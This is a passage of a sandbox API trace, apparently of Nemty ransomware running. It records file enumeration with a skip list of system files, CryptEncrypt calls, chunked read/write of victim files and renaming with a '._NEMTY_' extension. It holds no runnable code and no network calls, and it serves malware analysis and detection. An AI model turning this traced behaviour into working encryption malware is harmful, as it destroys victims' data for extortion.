lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.827] CloseHandle (hObject=0xffffffff) returned 0 [0128.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0128.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0128.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\delete_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\delete_up.png._nemty_kgobjgd_")) returned 0 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0128.828] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2=".") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="..") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="...") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="windows") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="$RECYCLE.BIN") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="rsa") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="NTDETECT.COM") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="ntldr") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="MSDOS.SYS") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="IO.SYS") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="boot.ini") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="boot.ini") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="ntuser.dat") returned -1 [0128.828] lstrcmpiW (lpString1="graph_down.png", lpString2="desktop.ini") returned 1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="CONFIG.SYS") returned 1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="RECYCLER") returned -1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="BOOTSECT.BAK") returned 1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="bootmgr") returned 1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="programdata") returned -1 [0128.829] lstrcmpiW (lpString1="graph_down.png", lpString2="appdata") returned 1 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_down.png", lpUsedDefaultChar=0x0) returned 14 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_down.png", lpUsedDefaultChar=0x0) returned 14 [0128.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_down.png", lpUsedDefaultChar=0x0) returned 14 [0128.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_down.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_down.png", lpUsedDefaultChar=0x0) returned 14 [0128.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0128.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0128.829] Sleep (dwMilliseconds=0x5) [0128.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x70c0d0, dwHighDateTime=0x1d561e8)) [0128.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x70c0d0, dwHighDateTime=0x1d561e8)) [0128.838] GetLastError () returned 0x5 [0128.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.838] GetLastError () returned 0x5 [0128.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.839] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0128.839] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="VU4xIWXAG0Lww04eN1w1NmwP4FkifaqFg8BkP3dfJDQcGKFcJK6lhPdBojS1oNsM\r\npr3JRLc8Sx8R61c9bWxogBm/1uAi/wd1Oj5DC6oLBBjzUFO/54hJMQLyf9Gp8cdr\r\n7/UZfqH5bZL29ta1+K+KEGaDQ7XulQyv2i9X1MXVb2sCUbi199dFKLTwgnMSNeFl\r\nh803Wdwa9zHIU0xl4xGVtqK3fyeoaBvvOxdOau5xSqHy8MXmQFjB9rFCdfs0JNbU\r\ntLot3xHKLW8AbVTFO7v8rKQ1O3igAjRmiy/bjrYJdpEdjw3iwud967kdcYWEm/xE\r\nTSEo+/q1aer5ylFiog+Azg==\r\n", pcchString=0x653e91c) returned 1 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.839] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.839] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, 